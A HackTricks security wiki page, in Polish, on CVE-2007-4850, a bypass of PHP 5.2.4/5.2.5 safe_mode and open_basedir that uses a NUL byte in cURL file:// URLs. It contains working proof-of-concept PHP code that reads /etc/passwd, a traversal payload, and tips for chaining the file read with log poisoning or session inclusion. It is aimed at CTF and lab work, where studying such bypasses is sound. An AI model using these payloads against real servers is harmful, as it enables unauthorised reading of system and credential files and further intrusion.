PHP 5.2.4 i 5.2.5 PHP cURL

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ta strona opisuje przestarzały, ale wciąż przydatny w CTFs/lokalnych starych instalacjach trik pozwalający obejść sprawdzenia PHP safe_mode/open_basedir przy użyciu rozszerzenia cURL w określonych wersjach PHP 5.2.x.

  • Dotknięte: PHP 5.2.4 i 5.2.5 z włączonym ext/curl.
  • Wpływ: Odczyt dowolnych lokalnych plików pomimo ograniczeń safe_mode lub open_basedir (brak bezpośredniego wykonania kodu).
  • ID: CVE-2007-4850.

Źródło: http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

One-liner PoC

Jeśli safe_mode lub open_basedir są aktywne, a cURL jest włączony, poniższe polecenie zwróci zawartość bieżącego skryptu:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

Bardziej szczegółowy PoC (odczyt dowolnego pliku)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Notatki:

  • Użyj podwójnych cudzysłowów lub chr(0) aby wstrzyknąć prawdziwy bajt NUL. Percent-encoding (%00) nie będzie działać niezawodnie.
  • To jest prymityw do odczytu pliku. Łącz z innymi prymitywami (log poisoning, session file inclusion, etc.) dla dalszej eskalacji, jeśli to możliwe.

Dlaczego to działa (krótko)

Luka polega na sposobie, w jaki PHP 5.2.4/5.2.5 wykonywał safe_mode/open_basedir kontrole dla file:// URL w ext/curl. Kontrola parsowała URL i walidowała komponent ścieżki, ale z powodu obsługi bajtu NUL walidowała inny ciąg niż ten faktycznie używany przez libcurl. W praktyce walidator mógł zatwierdzić ścieżkę po NUL, podczas gdy libcurl używał części przed NUL jako kontenera URL, co umożliwiało obejście skutkujące odczytem pliku umieszczonego po bajcie NUL. Zobacz oryginalną analizę i dotknięte makro w curl/interface.c po szczegóły. [CVE-2007-4850].

Ograniczenia i poprawki

  • Naprawione w późniejszych wydaniach 5.2.x (np. distro builds patched to 5.2.6) przez skorygowanie parsowania/walidacji w ext/curl.
  • Dotyczy tylko bardzo starych wdrożeń PHP; safe_mode został usunięty w PHP 5.4 i nowoczesne buildy nie wykazują tego zachowania.

Powiązane historyczne obejścia oparte na cURL

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed file:// access with embedded NULs to bypass open_basedir; fixed before 5.2.x.
  • PHP bugs #30609/#36223 tracked early cURL open_basedir issues using file:// without canonicalization. Any check before the NUL byte or without realpath-style resolution is prone to the same truncation.

Wskazówki dla CTF

  • Kiedy zidentyfikujesz PHP 5.2.4/5.2.5 z załadowanym ext/curl (szukaj cURL support => enabled w phpinfo() i dokładnej wartości PHP Version), ten trik zwykle działa nawet jeśli allow_url_fopen jest wyłączone, ponieważ ext/curl obsługuje file:// samodzielnie.
  • Jeśli bezpośrednie ścieżki są zablokowane, spróbuj relatywnego directory traversal po NUL, np. file://x\x00../../../../etc/passwd. Przejście jest rozwiązywane przez libcurl, nie przez straż open_basedir.
  • Możesz opakować payload w jedno ciało żądania HTTP, aby wywołać LFI przez podatny kod po stronie serwera, który odwzorowuje kontrolowane przez użytkownika URL-e do curl_exec() (częste w legacy SSRF-like endpoints).

Zobacz także

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks